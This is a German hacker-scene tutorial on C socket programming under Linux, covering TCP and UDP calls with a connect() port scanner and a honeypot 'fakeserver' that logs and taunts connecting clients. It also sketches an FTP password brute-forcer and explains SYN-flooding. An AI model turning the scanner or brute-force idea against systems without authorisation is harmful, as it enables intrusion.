__ __ __ .-----.--.--.----.| |.--.--.--| |.-----.--| | .-----.----.-----. | -__|_ _| __|| || | | _ || -__| _ |__| _ | _| _ | |_____|__.__|____||__||_____|_____||_____|_____|__|_____|__| |___ | by l0om - member of excluded-team |_____|
Netzwerkprogrammierung
in C unter Linux
Eine
Einfuehrung
V.1.2
Inhalt
1.0
Vorwort
2.0
Einfuehrung
3.0
Grundlegende Funktionen (Client Side)
3.1
socket
3.2 connect
3.3 close
3.4 sockaddr_in
Struktur
3.5
Beispielprogramm (portscanner)
4.0
Grundlegende Funktionen (Server Side)
4.1 bind
4.2 listen
4.3 accept
4.4 Beispielprogramm
(fakeserver)
5.0
UDP
5.1 UDP Clients
5.1.1 sendto
5.1.2 recvfrom
5.1.3
connect (Verbinden) mit UDP?
5.2 UDP Server
5.3 UDP Client/Server Beispiel (sysinfs.c
sysinfs.c)
6.0
Anspruchsvollere Server
6.1 fork
6.2 signal
6.3 Beispielprogramm (paraleller-Server /
Trojand echoserver).
7.0
Einfuehrung in Raw-Sockets
7.1 Header
Ueberblick
7.1.1 IP Header
7.1.2 Tcp Header
7.1.3 Udp Header
7.1.4 Icmp Header
7.1.5
Pseudo Header
7.2 Beispielprogramm
(TCP-Sniffer)
7.3 sendto
7.4 Beispielprogramm (pong / Abart von
ping)
7.5 select
7.6 Verbesserung
(pong)
7.7 Funktionen zur einfachen/schnellen
Raw-Socket programmierung
8.0
Schlusswort
9.0
Greets
1.0 Vorwort
In
diesem Tutorial werden wir uns mit der Netzwerkprogrammierung unter Linux(/UNIX)
beschaefftigen. Dabei werden wir nur mit der Programmiersprache C arbeiten. Es
werden Vorkenntnisse in C verlangt. Man sollte also wissen, was ein Deskribtor
oder ein String ist. #
;)
Desweiteren
muss der Leser interessiert sein, wenn er also eine der aufgefuehrten Funktionen
nicht kennt (z.B. „read“,“write“), sollte er sich die entsprechenden Manuals
ansehen ($ man funktion). Rechtschreibfehler sind auf den geistigen Zustand des
Authors zurueckzufuehren. Der Text ist ziemlich einfach geschrieben und enthaelt
nur die wichtigsten Details zu Funktionen.
Ein
wenig Wissen ueber TCP/IP sollte ausreichen um die Thematik zu verstehen, wobei
wir uns hier nur mit Ipv4 beschaefftigen werden. Wir werden uns hier verstärkt
mit TCP befassen.
Dieses
Tut ist also ein Einstieg und Themen wie Threading oder Multicasting werden hier
nicht besprochen.
2.0 Einfuehrung
C
ist eine sehr flexible Sprache, die sich ueber viele bereiche der Programmierung
streckt. So kennt man begriffe wie Kernelprogrammierung, Systemprogrammierung
und Netzwerkprogrammierung. Die Netzwerkprogrammierung beschaefftigt sich mit
der Kommunikation zwischen einem Client und einem Server. Der Server stellt
einen Dienst zur verfuegung, waehrend der Client sich mit dem Server verbindet
um diesen Dienst in Anspruch zu nehmen. Mit Betriebssystemen werden in der Regel
netzwerkfaehige Programme mitgeliefert. So kennt man Web-Browser, FTP-Clients
oder POP-Clients. Wir wollen aber unsere eigenen Server/Client Anwendungen
schreiben.
Sockets
sind fuer uns eine vollkommen transparente Schnittstelle zu einem entferntem
Host. Dabei kommt es fuer uns nicht darauf an ob der Host in unserm LAN oder in
einem WAN liegt. Ueber den Socket werden Datenpakete von uns bis hin zu einem
entferntem Host gesendet. Wir sagen dem Socket nur was wir wollen und dieser
erledigt den Rest der Arbeit. Ganz anders sieht es bei Raw-Sockets aus. Wie der
Name schon vermuten laesst (raw = roh), wird hier die Transparents der
Netzwerkkommunikation aufgehoben. Nun sind wir als Programmierer in der Lage,
ueber den Raw-Socket, unsere selbst erstellten Datenpakete zu senden.
3.0 Grundlegende Funktionen (Client
Side)
Wie
in allen Bereichen der C Programmierung benoetigen wir Funktionen, mit denen uns
die Arbeit bei der Programmierung ermoeglicht wird. Wie gewohnt befinden sich
die Funktionen in Headerdateien. Um einen kurzen Ueberblick zu bekommen wie
gross unsere Moeglichkeiten sind, empfehle ich mal einen Blick ins Verzeichnis
der „netinet“ Header zu werfen.
l0om@work:~>
cd /usr/include/netinet
l0om@work:/usr/include/netinet>
ls
Es
werden eine Menge Header aufgelistet, die alle fuer netzwerkprogrammierung
genutzt werden koennen. Wir werden nun einen Blick auf die wichtigsten
Funktionen der Netzwerkprogrammierung werfen.
3.1
socket
Wie
wir nun wissen kommunizieren Hosts ueber Sockets. Doch woher nehmen wir
diese?
Wie
alles andere unter Unix Systemen sind auch Sockets Deskribtoren. Das bedeutet
also, dass wir diese wie jeden andere Variable verwenden koennen. Wir koennen
mit read() von ihr lesen und mit write() auf ihr schreiben. Wir werden uns nun
die Funktion ansehen um einen Socket zu erstellen:
Funktionsdefinition
#include
<netinet/socket.h>
int
socket(int family, int type, int protocol);
Rueckgabewert
Bei
Erfolg gibt uns die Funktion einen Socket zurueck.
Bei
einem Misswerfolg erhalten wir -1.
Argumente
„family“
gibt die Protokollfamilie an. Es werden Konstanten benutzt um der Variablen
einen Wert zu geben.
Konstantenname
Definition
AF_INET
Verwendung von Ipv4
AF_INET6
Verwendung von Ipv6
AF_LOCAL
Unix Domain Protokolle
AF_ROUTE
Routing-Sockets
AF_KEY Key
Sockets
“type”
sagt der Funktion welche Art von Sockets wir haben wollen.
Konstantenname
Definition
SOCK_STREAM
Stream-socket (TCP)
SOCK_DGRAM
Datagram-socket (UDP)
SOCK_RAW
Raw-socket (was wir wollen)
“protocol”
bleibt ausser bei Raw-sockets “0”. Bei Raw-sockets koenne wir so mitteilen, fuer
welches Protocol wir unsere Pakete erstellen/lesen
moechten.
Konstantenname
Definition
IPPROTO_TCP
TCP
IPPROTO_UDP
UDP
IPPROTO_ICMP
ICMP
Beispiel
/*
wir erstellen uns einen TCP-socket */
int
sock;
...
sock
= socket(AF_INET, SOCK_STREAM, 0);
…
/*
wir erstellen uns einen UDP raw socket */
int
rawsock;
...
rawsock
= socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
Wenn
der Socket erfolgreich erstellt wurde, koennen wir diesen wie jede andere
intenger Variable verwenden.
3.2
connect
Wenn
wir nun einen Socket erstellt haben, koennen wir uns mit der connect Funktion
mit einem entferntem Dienst verbinden.
Funktionsdefinition
#include
<sys/socket.h>
int
connect(int sockfd, const struct sockaddr *servaddr, socklen_t
addrlen);
Rueckgabewert
Bei
einer erfolgreichen Verbindung erhalten wir 0.
Bei
einem Misserfolg -1.
Welche
Misserfolge gibt es?
Wenn
unser Client keine Antwort auf das gesendete TCP +Syn Paket bekommt, wird errno
ETIMEDOUT zurueckgegeben. Die laenge fuer einen Timeout einer Verbindung kann im
/proc/sys/ip4/ Verzeichnis interaktiv veraendert werden.
Wenn
die Antwort des Hosts ein TCP +RST ist, also der Port geschlossen ist, wird
errno ECONNREFUSED zurueckgegeben.
Argumente
„sockfd“
muss ein bereits erstellter Socketdeskribtor sein.
„servaddr“
muss muss ein Zeiger auf eine sockaddr Struktur ein. Diese Struktur enthaelt
Daten die fuer einen Verbindungsaufbau benoetigt werden. Unter anderm der
Ziel-Port und die Ziel-Ip Addresse. Auf diese bedeutende Struktur gehen wir
gleich ein.
„addrlen“
muss die laenge der sockaddr Struktur in Bytes beinhalten.
Beispiel
/*
verbindung */
...
if(connect(sockfd,
(struct sockaddr *)&servaddr, sizeof(struct servaddr)) == -1)
{
fprintf(stderr,
“cannot connect\n”);
return
(-1);
}
else printf(“connected\n”);
...
Es
wird connect innerhalb einer “if” Kontrollstruktur aufgerufen, um den
Rueckgabewert der Funktion abzufangen.
Wenn
der Wert -1 ist, also ein Fehler, wird auf dem „stderr“ Stream ein
Benachrichtigung ausgegeben.
Andernfalls
wird auf „stdout“ ebenfalls eine Benachrichtigung
ausgegeben.
3.3 close
Mit
„close“ schliessen wir geoeffnete Deskribtoren. Diese werden am Ende eines
Programms von alleine geschlossen, es zeugt aber von gutem Styl wenn man die
Deskribtoren schliesst. Ausserdem wird bei einer aktiven TCP Verbindung ein
normaler Verbindungsabbau eingeleitet. Desweiterem werden alle Daten, die noch
als Warteschlange am Socket stehen, versendet.
Funktionsdefinition
#include
<unistd.h>
int
close(int sockfd);
Argumente
“sockfd”
ist der geoeffnete Socket.
3.4
sockaddr_in Struktur
Viele
Funktionen benoetigen einen Zeiger auf eine „sockaddr“ Addressstruktur. Fuer
Ipv4 verwenden wir „sockaddr_in“.
Diese
enthaelt wichtige Daten fuer einen Verbindungsaufbau. So finden wir hier z.B.
die Portnummer und Ipaddresse unseres Zielhosts.
Strukturdefinition
#include
<netinet/in.h>
struct
sockaddr_in {
uint8_t
sin_len; /* laenge der
Struktur */
sa_family_t sin_family /* AF_INET
*/
in_port_t sin_port; /*
16-bit TCP/UDP Portnummer in
„Computersprache“ */
struct
in_addr sin_addr; /* 32-bit Ipv4 Adresse in
„Computersprache“ */
char
sin_zero[8]; /* leergut ;) */
}
Strukturelemente
Laut
POSIX verlangt diese Struktur jedenfalls nur drei Elemente: sin_family,
sin_port, sin_addr. Diese sind also auf jedem Unix oder Unixklon System
vorhanden.
„sin_family“
traegt den Wert einer Konstanten wie AF_INET, AF_INET6 oder AF_KEY. Diese
Konstanten legen fest „womit“ kommuniziert wird. So drueckt man mit AF_INET aus,
dass man Ipv4 verwenden will.
„sin_port“:
Hier gibt man die Ziel-Ipadresse
an. Wir koennen aber den Wert nur mit der „htons(VALUE)“ Funktion
uebergeben. Das Strukturelement verlangt naemlich, dass der Wert in
„Computersprache“ uebergeben wird. Naeheres im Beispiel.
„sin_addr“
ist eine weitere Struktur in der sockaddr_in Struktur. Diese weitere Struktur
enthaelt jedoch lediglich ein einziges Element- „s_addr“. „s_addr“ ist eine Ipv4
IP Adresse als 32-bit Wert. Auch hierfuer gibt es einige Funktionen mit denen
wir die IP-Adresse in das richtige Format bringen.
Beispiel
/*
start */
struct
sockaddr_in remotehost;
...
remotehost.sin_family
= AF_INET; /* Ipv4, bitte
*/
remotehost.sin_port
= htons(80); /* port 80, http(tcp) */
remotehost.sin_addr.s_addr
= inet_addr(argv[2]); /* ipadresse soll argument drei sein
*/
...
3.5
Beispiel Programm
Hier
in unserem praktischem Beispiel sehen wir, wie Beispielsweise das zweite
Argument ans Programm zur 32-bit IP-Adresse umgewandelt wird. Die Funktion
„inet_addr“ erhaelt ein Argument. Naemlich einen Zeiger auf einen String. Dieser
String muss dann die IP-Adresse im normal Format
enthalten.
So-
mit diesem Wissen gewappnet, koennen wir uns nun gemeinsam unserer ersten
Aufgabe stellen. Wir werden einen einfachen (sehr einfachen) (tcp)Portscanner
schreiben. Der Scanner wird mit der „vanilla“ Methode arbeiten. Das bedeutet
also, dass wir uns via connect() mit Port fuer Port verbinden und so
herrausfinden, welcher Dienst aktiv ist und welcher nicht.
Wir
werden das Programm Stueck fuer Stueck zusammen
durchgehen.
/*
lamescan.c
* another pretty
lame connect() scanner...
* usage: lamescan
[dest-ip]
* it only scans from port 1 to 1024 for
now. change the values of the
* defined STARTPORT
&& ENDPORT if u need to.
*
*
l0om
*/
#include
<stdio.h>
#include
<netinet/in.h>
#include
<sys/socket.h>
#define STARTPORT
1
/* beginn scanning here */
#define
ENDPORT 1024 /* end scanning
here */
#define OPEN 1
/* return 1 for open ports */
#define CLOSED 2
/* and 2 for closed ones */
#define ERROR -1
int checkprt(int
port, char *ip);
Es
werden die noetigen Headerdateien eingefuegt. Naemlich stdio.h fuer standart
Funktionen, socket.h fuer Funktionen wie „socket“ und netinet/in.h fuer connect
und unsere Struktur sockaddr_in.
Als
naechstes definieren wir uns Konstanten. Die Konstanten STARTPORT und ENDPORT
bestimmen von wo bis wo gescannt wird und koennen bei bedarf veraendert werden.
ERROR, OPEN und CLOSED sind Returnwerte mit denen wir arbeiten werden, um zu
sehen, ob unser Port geoeffnet ist oder nicht.
Wir
erstellen uns einen Funktionsprototyp. Diese Funktion werden wir verwenden, um
uns mit einem Port zu verbinden. „port“ gibt die Portnummer an und „ip“ muss die
IP-Adresse im Klartext ein.
int checkprt(int port,
char *ip)
{
int test = 0;
int sockfd;
struct sockaddr_in
servaddr;
sockfd = socket(AF_INET, SOCK_STREAM,
0);
if(sockfd < 0)
{
printf("error.
cannot creat socket\n");
return
ERROR;
}
servaddr.sin_family =
AF_INET;
servaddr.sin_addr.s_addr =
inet_addr(ip);
servaddr.sin_port =
htons(port);
test =
connect(sockfd, (struct sockaddr_in *)&servaddr,
sizeof(servaddr));
if(test == -1){
close(sockfd);
return
CLOSED;
}
close(sockfd);
return
OPEN;
}
Und
hier ist auch schon der Funktionskoerper. Es wird ein Socket erstellt und
getestet ob dieser auch erfolgreich erstellt wurde. Danach initialisieren wir
unsere Struktur.
Wir
verwenden das „ip“ Argument als Argument fuer „inet_addr“ und das „port“
Argument als Argument fuer „htons“. Wir lassen also unsere Argumente von den
beiden Funktionen in „Computersprache“ umwandeln.
Nun
rufen wir connect auf und speichern den Reuckgabewert mit der intenger Variablen
„test“. Der Rueckgabewert von „test“ wir auf -1 ueberprueft. Ist
der Test negativ(-1) wird CLOSE returned, andernfalls OPEN. Nun
aber zur main Funktion.
int main(int argc,
char **argv)
{
int i;
char *dest;
if(argc != 2) {
printf("usage: %s
[dest-ip]\n",argv[0]);
return
ERROR;
}
dest = argv[1];
printf("\n\tlamescan a REAL lame
portscanner\n");
printf("\t-----------------------------------\n");
printf("\tl0om\n\n");
printf("scanning from %d to %d ->
%s\n\n",STARTPORT, ENDPORT, argv[1]);
for(i = STARTPORT; i <= ENDPORT; i++)
if(checkprt(i,dest) ==
OPEN)
printf("port %d
is open\n",i);
printf("scan
finished\n");
return
0;
}
Wir
ueberpruefen ob das Programm richtig aufgerufen worden ist. Also mit einem
Argument. Dann weisen wir den Zeiger „dest“ auf den Anfang des ersten Arguments.
Wir initialisieren die Variable „i“ mit dem Wert der Konstanten STARTPORT und
inkrementieren „i“ bis sie den Wert von ENDPORT erreicht. Den Wert von „i“
setzen wir bei jedem Schleifendurchlauf als „port“ Argument bei „checkprt“ ein
und ueberpruefen jedes Mal den Rueckgabewert der Funktion. Bei OPEN wird der
Benutzer benachrichtigt, andernfalls nicht.
Nun
ein einfacher:
root:~
# gcc -o lamescan lamescan.c
root:~
# ./lamescan 127.0.0.1
# wir scannen das fbi
;)
und
es werden uns die offenen TCP Ports des Hosts angezeigt.
Mit
unserm bisherigem Wissen koennten wir sogar ein Brutforce Programm schreiben.
Einfach mit dem Dienst verbinden und mit „write()“ den noetigen String
uebergeben (z.B. FTP: USER blah\r\n && PASS blahblah\r\n). Dann lesen
wir via „read()“ den Output des Servers und erkennen so, ob das Password richtig
war oder nicht. Aber ich will euch ja nicht alle Arbeit
nehmen.
4.0
Grundlegende Funktionen (Server Side)
Als
Server haben wir die Aufgabe auf einem Port auf Verbindungen zu horchen. Wenn
ein Client eine Verbindung aufbauen moechte, ermoeglichen wir ihm dies. Je nach
Server Anwendung bieten wir dem Clienten nun unsere Dienste an. Um all dies zu
bewerkstelligen benoetigen wir natuerlich neue Funktionen. Wobei wir auch die
oben genannten verwenden muessen.
4.1
bind
Mit
der "bind" Funktion verknuepfen wir Protokoll spezifische Daten, wie z.B. die
Portadresse und die Ip-Adresse die sich mit uns in verbindung setzen
darf.
Funktionsdefinition
#include
<sys/socket.h>
int
bind(int sockfd, const struct sockaddr *myaddr, socklen_t
addrlen);
Rueckgebewerte
0
bei Okay, -1 bei Fehler.
Argumente
"sockfd"
ist der zu "verknuepfende" Socket, auf dem wir nachher auf Verbindungen
horchen.
"myaddr"
stellt eine ausgefuellte "sockaddr_in" Struktur dar. In dieser wird zum einen
die Protokollfamilie definiert, sowie Portadresse und die Ip-Adresse der localen
Schnittstelle die sich mit uns in Verbindung setzten darf. Da dies unseren
Server auf Verbindungen mit dem gleichen Host beschraenken wuerde, nutzen wir
immer ein Wildcard, mit dem jeder Client in der Lage ist, sich mit dem Server zu
Verbinden. Dazu weisen wir der Variablen "s_addr" den Wert wie folgt
zu:
servaddr.sin_addr.s_addr
= htonl(INADDR_ANY);
"socklen_t"
ist die Groesse der Struktur in Bytes.
Beispiel:
/*
start */
struct
sockaddr_in myaddr;
...
myaddr.sin_family
= AF_INET;
myaddr.sin_port
= htons(6736);
myaddr.sin_addr.s_addr
= htonl(INADDR_ANY);
...
if(bind(sockfd,(struct
sockaddr *)&myaddr, sizeof(struct sockaddr)) == -1) {
fprintf(stderr,"cannot
bind\n");
return
(-1);
}
...
Hier
wird eine Struktur fuer die Protokollfamilie IPv4 Ausgefuellt. Zum einen wird
verstgelegt, dass der Socket sockfd auf dem port 6736 horchen soll und zum
andern dass sich ausnahmslos jeder mit ihm verbinden kann. Es sei denn man
schliesst IP Adressen mit hilfe von /etc/hosts.deny aus, aber das ist ein anders
Thema.
4.2
listen
Mit
der "listen" Funktion sagen wir dem Socket er soll beginnen zu horchen. Der
Socket geht in den passiven Modus und wartet auf ankommende Verbindungen. Wir
koennen die ankommende Verbindung aber hiermit nicht akzeptieren, dafuer ist
"accept" verantwortlich.
Funktionsdefinition
#include
<syss/socket.h>
int
listen(int sockfd, int backlog);
Rueckgabewerte
0
bei Okay, -1 bei Fehler.
Argumente
"sockfd"
muss(!) ein Socket sein, der erfolgreich erstellt wurde und an dem bereits mit
"bind" die noetigen Protokollinformationen verknuepft sind. Dieser Socket wird
also zum horchen auf Verbindungen verwendet.
"backlog"
ist eine Ganzzahl die dem Kernel angibt, wieviele Verbindungen er in die
Warteschlange setzen soll. Dabei beruecksichtigen wir, dass der Kernel zwei
Warteschlangen verwaltet. Zum einen unvollstaendige Verbindungen (es kam ein Syn
und man wartet auf das zweite Syn) und bereits vervollstaendigte Verbindungen.
#########NOTE#########
Hier
liegt die Gefahr fuer Syn-flooding. Es kommen eine Fuelle von Syn Paketen an den
Port. Dieser legt jedes Syn als unvollstaendige Verbindung in "backlog" ab. Das
hat frueher oder spaeter zur Folge, dass der Schwellwert von "backlog" erreicht
wird und keine weiteren Verbindungen akzeptiert werden.
Heute
gibt es Gegenmassnahmen wie syn-cookies. Diese werden intern vom Kernel
gesteuert.
#######################
Beispiel
/*
start */
...
listen(sockfd,
12);
...
Wir
horchen an dem Socket "sockfd" und wir legen maximal 12 Verbindungen in die
Warteschlange.
4.3
accept
Mit
„accept“ haben wir die Moeglichkeit, die naechste vollstaendige Verbindung aus
der Warteschlange zurueckzugeben. Gibt es keine vollstaendige Verbindung zum
zurueckgeben, blockiert die Funktion so lange bis es eine vollstaendige
Verbindung in der Warteschlange findet. Wie wir wissen, wird die Warteschlange
von der „listen“ Funktion geregelt. Der horchende Socket bleibt bestehen und
kuemmert sich um die Warteschlange. Wir erhalten naemlich von der Funktion einen
neuen Socket, der den verbunden Client darstellt.
Funktionsdefinition
#include
<sys/socket.h>
int
accept(int sockfd, struct sockaddr *cliaddr, socklen_t
addrlen);
Rueckgabewerte
Bei
Erfolg gibt die Funktion einen brandneuen verbundenen Socket zurueck. Dieser
neue Deskribtor verweist auf die TCP Verbindung mit dem Client.
Bei
einem Misserfolg erhalten wir -1.
Argumente
„sockfd“
ist der „listen-Deskribtor“. Also der Socket, der von listen verwendet wurde, um
auf ankommende Verbindungen zu horchen.
„cliaddr“ ist die Protokolladresse des
verbunden Clients. Wir erhalten also dessen IP-Adresse und weitere Daten. Wenn
wir an der identitaet des Clients nicht interessiert sind, setzten wir bei
„cliaddr“ und „addrlen“ einfach die Konstante NULL ein.
„addrlen“
ist die groesse von „cliaddr“ in Bytes.
Beispiel
/*
start */
int
sockfd, connfd;
…
bind(sockfd,
(struct sockaddr *)&servaddr, sizeof(servaddr));
listen(sockfd,
4);
…
while(1)
{
connfd
= accept(sockfd, (struct sockaddr *)&client,
sizeof(client));
do_something_with_client(&connfd);
close(connfd);
}
Hier
sehen wir, dass zwei Socket-Deskribtoren deklariert werden. Einmal „sockfd“ und
„connfd“. Es werden die Funktionen wie „bind“ und „listen“ auf den Socket
„sockfd“ ausgefuehrt. Nun rufen wir eine Endlosschleife auf. Wenn „accept“ eine
vollstaendige Verbindung bekommt, gibt sie den neuen Deskribtor an „connfd“
weiter. Nun wird dem Client der Dienst zur Verfuegung gestellt und danach die
Verbindung mit „close“ geschlossen.
4.4
Beispielprogramm
Schauen
wir uns nochmal das Prinizp einer Server-Application genauer
an.
socket()
|
|
|
bind()
|
|
|
listen()
|
| <---------|
|
|
accept()
|
|
|
|
|
dienst()
|
|
|
|
|
close()--------
Mit
„socket“ erstellen wir uns also zunaechst einen Socket (TCP/UDP). Als naechstes
verknuepfen wir mit „bind“ Protokollinformationen an den erstellten Socket. Die
„listen“ Funktion horcht auf ankommende Verbindungen. Mit „accept“ nehmen wir
die ankommende Verbindung an und bieten dem Client unsern Dienst an. Nach
beendigung der Inanspruchnahme des Dienstes, schliessen wir den Socket und somit
auch die Verbindung, mit „close“. Doch da ein Server natuerlich weiterhin
erreichbar bleiben soll, gehen wir mit Hilfe einer Schleife zurueck, vor
„accept“.
Wir
werden nun einen Beispielserver schreiben. Und zwar werden wir uns einen
fakeserver fuer unsere „Trojaner“ h4X0rZ basteln. Wir werden unseren gefakten
Dienst unter einem standart Backdoor-Port anbieten. Der Anwender kann mit hilfe
der „-p“ Funktion den Port bestimmen auf dem gehorcht werden soll. Die
Verbindung wird in eine LOGFILE geschreiben (ip-adresse und datum). Bei bedarf
kann der Benutzer die „-a“ Funktion aufrufen, die einen „bell“ Ton von sich
gibt, wenn sich ein 1337 h4x0r verbindet. Unser verbundener Experte bekommt von
uns natuerlich noch nen Spruch reingedrueckt den wir in der Konstanten MASSAGE
definieren :).
/*
fakeserver.c
a fakeserver for
the trojan l337 I_4m3rZ.
all connected
h4x0rZ see the #defined MASSAGE - change it if u want.
all connections get
logged to the #defined LOGFILE - change if u want.
l0om
*/
#include
<stdio.h>
#include
<netinet/in.h>
#include
<sys/socket.h>
#include
<time.h>
#define
LOGFILE "/root/fakeserver.log" /* all connections are logged
here*/
#define MASSAGE
"hey u l337 h4x0r-> u got blamed by a fakeserver, so FUCK OFF (now plz)" /* the message */
void
help();
Wir
includen wie gehabt einige Headerdatein. „time.h“ verwenden wir um das Datum der
Verbindung zu ermitteln.
Es
werden die genannten Konstanten definiert wie LOGFILE und
MASSAGE.
Wir
benoetigen nur eine „help“ Funktion um dem unbedartem Benutzer die benutzung zu
erklaeren.
int main(int argc,
char **argv)
{
int i;
ssize_t len;
int alert = 0;
int sockfd,
connfd;
int port = 6667;
struct sockaddr_in servaddr,
cliaddr;
time_t
istime;
FILE *logfd;
if( (getuid()|getgid()) != 0)
{
printf("sorry-> u must be
root");
return
-1;
}
if(argc > 1) {
for(i = 0; i < argc; i++)
{
if(strncmp(argv[i], "-p", 2) == 0)
port =
atoi(argv[++i]);
if(strncmp(argv[i],
"-h", 2) == 0) {
help();
return 0;
}
if(strncmp(argv[i], "-a",2) == 0)
alert =
1;
}
}
Wir
deklarieren einige Variablen und Strukturen fuer den weiteren Programmablauf.
Wir ueberpruefen ober der Benutzer root ist. Mit „i“ arbeiten wir die
uebergebenen Argumente ab. „alert“ wird auf 1 gesetzt, wenn die „-a“ Option
gewaehlt wurde. Desweiteren werden zwei Sockets erstellt. „port“ traegt einen
standart Wert der aber mit hilfe der „-p“ Funktion geaendert werden kann. Wir
deklarieren zwei „sockaddr_in“ Strukturen. Eine fuer den Server und die andere
fuer unsern verbundenen Experten. „time_t“ ist eine vorzeichenlose Zahl die wir
verwenden um die Uhrzeit und das Datum zu ermitteln. „logfd“ ist ein
Filedeskribtor mit dem wir in die LOGFILE schreiben
werden.
memset(&servaddr,
'\0', sizeof(servaddr));
servaddr.sin_family =
AF_INET;
servaddr.sin_port =
htons(port);
servaddr.sin_addr.s_addr
= htonl(INADDR_ANY);
sockfd = socket(AF_INET, SOCK_STREAM,
0);
if(sockfd < 0)
{
printf("cannot create
socket\n");
return
-1;
}
bind(sockfd, (struct sockaddr
*)&servaddr, sizeof(servaddr));
listen(sockfd, 6);
len =
sizeof(cliaddr);
while(1>0) {
connfd = accept(sockfd,
(struct sockaddr *)&cliaddr,&len);
if(alert)
printf("\a");
logfd = fopen(LOGFILE,
"a");
if(logfd < 0) {
printf("cannot
write to logfile\n");
logfd =
stdout;
}
write(connfd, MASSAGE,
strlen(MASSAGE));
istime =
time(NULL);
fprintf(logfd, "%s connected
at %s\n",inet_ntoa(cliaddr.sin_addr.s_addr),
ctime(&istime));
fclose(logfd);
close(connfd);
}
return 0;
}
Wir
geben der „servaddr“ Struktur die wichtigen Werte fuer unseren Server. Dann
erstellen wir uns einen Socket. An diesen verknuepfen wir wie gehabt mit „bind“
Protokollinformationen. Wir rufen „listen“ auf, um auf Verbindungen zu warten.
In der Endlosscheife rufen wir „accept“ auf, die zunaechst mal blockiert. Wenn
eine Verbindung ankommt wird entweder ein „bell“ Ton abgegeben oder nicht. Im
weiterem Verlauf oeffnen wir unsere LOGFILE. Nun bekommt unsere Experte unsere
liebevolle Nachricht serviert und alle Daten werden in die LOGFILE geschrieben.
Danach trennen wir die Verbindung und schliessen die Datei. Fuer Informationen
zu „time()“ :
$
man time
void help()
{
puts("fakeserver.c\n");
puts("usage");
puts("./fakeserver -p
6969");
puts("-p : the following argument must
be the port to fake");
puts("-h : prints this help
message");
puts("-a : allways rings when some h4xor
connected");
puts("for change logfile or the message
see the source\n");
puts("l0om");
}
Das
help menue.
Gut-
ans Werk.
root:~
# gcc -o fakeserver fakeserver.c
root:~
# ./fakeserver -p 6969 -a &
Wir
fuehren das Programm im Hintergrund aus. Nun ein Test...
root:~
# telnet 127.0.0.1 6969
Trying
to Connect 127.0.0.1…
Connected
with 127.0.0.1.
Escape
Character is ‘^[‘
hey u l337 h4x0r-> u got blamed by a
fakeserver, so FUCK OFF (now plz) Connection closed by foreign
Host.
root:~
# cat /root/fakeserver.log
127.0.0.1
connected at #datum :)
5.0
UDP
Bis jetzt haben
wir uns nur mit TCP Anwendungen auseinander gesetzt. Aber es gibt zu TCP auch
eine Alternative. Das UDP (User Datagram Protokoll) ist im Gegensatz zu TCP
verbindungslos. Das heisst im Klartext, es gibt nicht wie bei TCP eine
Verbindung, geschweige denn einen Verbindungsaufbau. Des weiteren sagt man UDP
zurecht nach, es sei ein unsicheres Protokoll. Damit ist gemeint, dass man bei
UDP keine Informationen darueber bekommt ob ein Datagram das Ziel erreicht hat
oder nicht. Trotzdem gibt es Anwendungen die UDP statt TCP den vorrang geben.
SNMP, TFTP und NFS sind nur drei prominente Beispiele. Da UDP im Prinzip alles
egal ist, ist es auch in punkto schnelligkeit besser al TCP. Aber auch wiederrum
Unsicher (hier beisst sich die Katze in den Schwanz). Nicht zu vergessen- UDP
ist BROADCAST faehig. Das hiesst, das ein Client mit einem ganzen Subnet
kommuniziren kann. TCP besitzt diese Faehigkeit nicht.
Wie
koennen wir als Programmierer nun mit UDP Netzwerkanwendungen schreiben?
5.1
UDP Clients
Das
Prinzip des UDP Clients aehnelt natuerlich dem TCP Client. Es muessen aber
aufgrund der unterschiede von UDP und TCP andere Funktionen her. Sehen wir uns
einen Client von der Vogelperspektive an:
socket()
|
|
sendto() /* senden der Daten
*/
|
|
recvfrom() /* lesen der Antwort
*/
|
close()
Fuer
diesen Ablauf benoetigen wir lediglich zwei neue Funktionen, die wir uns jetzt
genauer ansehen werden.
5.1.1
sendto
Funktionsdefinition
#include
<sys/socket.h>
ssize_t
sendto(int sockfd, void *buf, size_t nbytes, int flags,
struct sockaddr *to, size_t addrlen);
Rueckgabewerte
“sendto”
liefert entweder –1 bei einem Fehler, oder die Anzahl der gesendeten Bytes vom
UDP Socket.
Argumente
„sockfd“
ist wie wir uns schon denken koennen, ein erstellter UDP
Socket.
In
„buf“ stehen die zu uebertragenen Daten. Da es ein void-Datentyp ist, koennen
hier alle erdenklichen Datentypen uebertragen werden.
„nbytes“
ist die groesse von „buf“ in bytes.
Das
„flags“ Argument besprechen wir ein anderes mal. Wir lassen flags zunaechst
immer auf 0 stehen.
In
der sockaddr Struktur, befinden sich wie immer die Protokoll spezifischen Daten,
die zum Datenaustasuch benoetigt werden. Das heisst im Klartext: Zielport,
Zieladresse und Familie (siehe tcp- es handelt sich um die gleiche
Struktur).
In
„addrlen“ wird die Anzahl der Bytes von der Struktur sockaddr
hinterleget.
5.1.2
Funktionsdefinition
ssize_t
recvfrom(int sockfd, void *buf, size_t nbytes, int flags,
const
struct sockaddr *to, size_t *addrlen);
Rueckgabewerte
“recvfrom”
gibt –1 bei einem Fehler zurueck oder die Anzahl der gelesenen Bytes. Wobei ein
Rueckgabewert von 0 nicht ein Fehler ist. Ein Wert von 0 bedeutet, dass wir ein
UDP Packet erhalten habe, welches jedoch keinen Dateninhalt hat
(ipheader+udpheader).
Was
ausserdem noch wichitig ist ist, dass das letzte Argument ein Zeiger ist. Wir
koennen also nicht „sizeof(servaddr)“ als Argument uebergeben, sondern muessen
einer Variablen den Wert zuweisen und mit dem Dyadischen Register Operator
(&) die Speicheradresse uebergeben.
Argumente
Die
meisten Argumente sind die selben wie bei „sendto“. Was sich aendert, ist das
„to“ Argument. Wenn wir dieses Argument nicht mit der Konstanten NULL belegen,
sondern mit einer gueltigen Struktur, schreibt revfrom die Daten des Senders in
diese Struktur. So koennen wir den Absender ueberpruefen (und ob das UDP Packet
nicht von jemand anders gesandt wurde).
5.1.3
Connect (verbinden) mit UDP?
Ist
es moeglich einen connect() Aufruf mit einem UDP client zu
starten?
Ja,
das ist es. Doch bei connect() mit UDP wird im Gegensatz zu TCP kein
three-way-hanshake stattfinden, sondern der Kernel legt die Daten die wir bei
connect() in der Struktur sockaddr uebergeben, in seinen Logs ab und kehrt
zurueck. Es findet also KEINE Verbindung statt, von daher koennen wir lamescan.c
nicht sooo einfach umwandeln, dass wir auch UDP Ports scannen koennen. Was
vorstellbar waere, waere ein sendto zu jedem Port und dann ein recvfrom. Wenn er
eine Antwort liest ist der Port offen (Antwort erhalten) ansonsten geschlossen.
